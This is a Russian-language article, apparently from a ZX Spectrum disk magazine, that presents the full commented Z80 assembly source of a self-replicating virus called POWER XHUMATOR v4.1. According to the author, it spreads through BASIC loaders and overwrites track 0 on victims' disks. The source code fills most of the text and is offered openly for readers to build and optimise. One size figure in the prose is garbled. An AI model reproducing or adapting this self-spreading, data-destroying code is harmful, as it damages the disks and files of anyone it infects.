Чайникам - Как сделать реальный вирус на Спектруме.

┌─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┐
 │▓▓▓▓ ░▒░ ЗАПОЛНЕННЫМ ЧАЙНИКАМ ▒░▒░ ▓▓▓│
 └─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┘
  
──────────────────────────────────────────

V. Как сделать реальный вирус на спектруме
   (из неразгаданных тайн процессора Z-80)

   Такого на спектруме еще не было! Народ,
предлагаю  Вашему  вниманию  исходник гло-
бальной разработки - вируса  под названием
POWER  XHUMATOR версии 4.1.  Первоначально
сей  вирус занимал #A3 байта и писался вот
так, от балды. Но мне понравилась идея и я
оптимизировал код вируса до #8A байт и на-
писал  даже  инсталляшку. Что он творит? А
творит  он  самое подлое - гадит 0 трек на
Ваших  драгоценных  дисках, и что еще под-
лее, так это то, что XHUM гадит 0 трек еще
и  на  Ваших  рабочих дисках. XHUM встраи-
вается  в BASIC-лоадеры всевозможных прог,
не  превышающие  #XX72  байт и ждет своего
часа.

   Мало  того,  что  вирус  способен само-
распространяться;  файлы, содержащие вирус
inside, могут подвергаться любому насилию,
такому как копирование, уплотнение, транс-
портировка6  по  почте  и.т.д. Конечно, не
гарантирована  работоспособность вируса со
100%  файлов, но, извините меня,  это все-
таки  всего  лишь #8A байт.

   Я не буду вдаваться в принцип  работы -
ниже приведен исходник, и те, кому это ин-
тересно,  разберутся во всем  сами.  А для
тупорылых ребят я  оставил  тупорылые ком-
ментарии, которые помогут им постичь неиз-
веданное.


;-------------------------------
;     POWER XHUMATOR  v4.1
;  Special Edition For ZX-NET
;     Koded &amp; Optimized By
; !mPeR!0/P0WER HaCkZ All!aNcE
;     0f PR0 HaCkZ DyNaZ7Y
;-------------------------------

LEN  EQU     #8A
     ORG     #8000
     RST     #38         ;SP-2&#62;SP, PC&#62;(SP)
                         ;#38&#62;PC
     EXX                 ;BC&#60;&#62;BC', DE&#60;&#62;DE'
                         ;HL&#60;&#62;HL'
     DEC     SP          ;SP-1&#62;SP
     DEC     SP          ;SP-1&#62;SP
     POP     AF          ;(SP)&#62;AF, SP+2&#62;SP
     EX      AF,AF'      ;AF&#60;&#62;AF'
     LD      HL,#C9F1    ;#C9F1&#62;HL
     LD      (#5CC2),HL  ;HL&#62;(#5CC2)
     LD      DE,#0000    ;#0000&#62;DE
     LD      BC,#0905    ;#0905&#62;BC
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     CALL    #3D13       ;SP-2&#62;SP, PC&#62;(SP)
                         ;#3D13&#62;PC
     EX      (SP),HL     ;(SP)&#60;&#62;HL
FIND POP     AF          ;(SP)&#62;AF, SP+2&#62;SP
     LD      A,(HL)      ;(HL)&#62;A
     POP     DE          ;(SP)&#62;DE, SP+2&#62;SP
     AND     A           ;A AND A&#62;A
     JR      Z,EXIT      ;EXIT&#62;PC if Z
     PUSH    DE          ;SP-2&#62;SP, DE&#62;(SP)
     LD      DE,#0004    ;#0004&#62;DE
     ADD     HL,DE       ;HL+DE&#62;HL
     ADD     HL,DE       ;HL+DE&#62;HL
     LD      A,(HL)      ;(HL)&#62;A
     INC     HL          ;HL+1&#62;HL
     LD      C,(HL)      ;(HL)&#62;C
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     INC     HL          ;HL+1&#62;HL
     LD      B,(HL)      ;(HL)&#62;B
     ADD     HL,DE       ;HL+DE&#62;HL
     LD      E,(HL)      ;(HL)&#62;E
     INC     HL          ;HL+1&#62;HL
     LD      D,(HL)      ;(HL)&#62;D
     INC     HL          ;HL+1&#62;HL
     CP      "B"         ;A-"B"
     JR      NZ,FIND     ;FIND&#62;PC if NZ
     LD      A,C         ;C&#62;A
     CP      #FD-LEN     ;A-#FD+LEN
     JR      NC,FIND     ;FIND&#62;PC if NC
     POP     HL          ;(SP)&#62;HL, SP+2&#62;SP
     ADD     A,LEN       ;A+LEN&#62;A
     LD      (HL),A      ;A&#62;(HL)
     LD      HL,#DD3B    ;#DD3B&#62;HL
     PUSH    BC          ;SP-2&#62;SP, BC&#62;(SP)
     PUSH    DE          ;SP-2&#62;SP, DE&#62;(SP)
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     PUSH    BC          ;SP-2&#62;SP, BC&#62;(SP)
     PUSH    BC          ;SP-2&#62;SP, BC&#62;(SP)
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     INC     B           ;B+1&#62;B
     LD      C,#05       ;#05&#62;C
     CALL    #3D13       ;SP-2&#62;SP, PC&#62;(SP)
                         ;#3D13&#62;PC
     POP     HL          ;(SP)&#62;HL, SP+2&#62;SP
     POP     BC          ;(SP)&#62;BC, SP+2&#62;SP
     ADD     HL,BC       ;HL+BC&#62;HL
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     EX      DE,HL       ;DE&#60;&#62;HL
     LD      HL,LEN      ;LEN&#62;HL
     PUSH    HL          ;SP-2&#62;SP, HL&#62;(SP)
     ADD     HL,DE       ;HL+DE&#62;HL
     EX      DE,HL       ;DE&#60;&#62;HL
     LDIR                ;(HL)&#62;(DE)&#60;─────┐
                         ;HL+1&#62;HL,DE+1&#62;DE│
                         ;BC-1&#62;BC, BC&#62;0?─┘
     POP     BC          ;(SP)&#62;BC, SP+2&#62;SP
     POP     DE          ;(SP)&#62;DE, SP+2&#62;SP
     EX      AF,AF'      ;AF&#60;&#62;AF'
     PUSH    AF          ;SP-2&#62;SP, AF&#62;(SP)
     POP     HL          ;(SP)&#62;HL, SP+2&#62;SP
     DEC     HL          ;HL-1&#62;HL
     LDIR                ;(HL)&#62;(DE)&#60;─────┐
                         ;HL+1&#62;HL,DE+1&#62;DE│
                         ;BC-1&#62;BC, BC&#62;0?─┘
     POP     DE          ;(SP)&#62;DE, SP+2&#62;SP
     POP     BC          ;(SP)&#62;BC, SP+2&#62;SP
     LD      H,D         ;D&#62;H
     LD      L,E         ;E&#62;L
     RES     #07,D       ;#00&#62;D(#07)
     LD      A,#3D       ;#3D&#62;A
     CPDR                ;┌─&#62;A=(HL)──────┐
                         ;│HL+1&#62;HL,BC-1&#62;BC
                         ;└BC&#62;0?         │
     ADD     A,(HL)      ;(HL)&#62;A&#60;-───────┘
     CP      #50         ;A-#50
     JR      NZ,SAVE     ;SAVE&#62;PC if NZ
     LD      (HL),E      ;E&#62;(HL)
     INC     HL          ;HL+1&#62;HL
     LD      (HL),D      ;D&#62;(HL)
SAVE POP     HL          ;(SP)&#62;HL, SP+2&#62;SP
     POP     DE          ;(SP)&#62;DE, SP+2&#62;SP
     POP     BC          ;(SP)&#62;BC, SP+2&#62;SP
     INC     B           ;B+1&#62;B
     LD      C,#06       ;#06&#62;C
     CALL    #3D13       ;SP-2&#62;SP, PC&#62;(SP)
                         ;#3D13&#62;PC
EXIT POP     HL          ;(SP)&#62;HL, SP+2&#62;SP
     LD      DE,#0000    ;#0000&#62;DE
     LD      BC,#0906    ;#0906&#62;BC
     CALL    #3D13       ;SP-2&#62;SP, PC&#62;(SP)
                         ;#3D13&#62;PC
     EXX                 ;BC&#60;&#62;BC', DE&#60;&#62;DE'
                         ;HL&#60;&#62;HL'
     JP      #3D13       ;#3D13&#62;PC

   Наверное, все  на  этот раз. Попробуйте
обрезать  мой  код  хотя  бы на 1 байт без
утери функциональных возможностей XHUMа, и
если  у Вас это получится, то звякните мне
как-нибудь.
 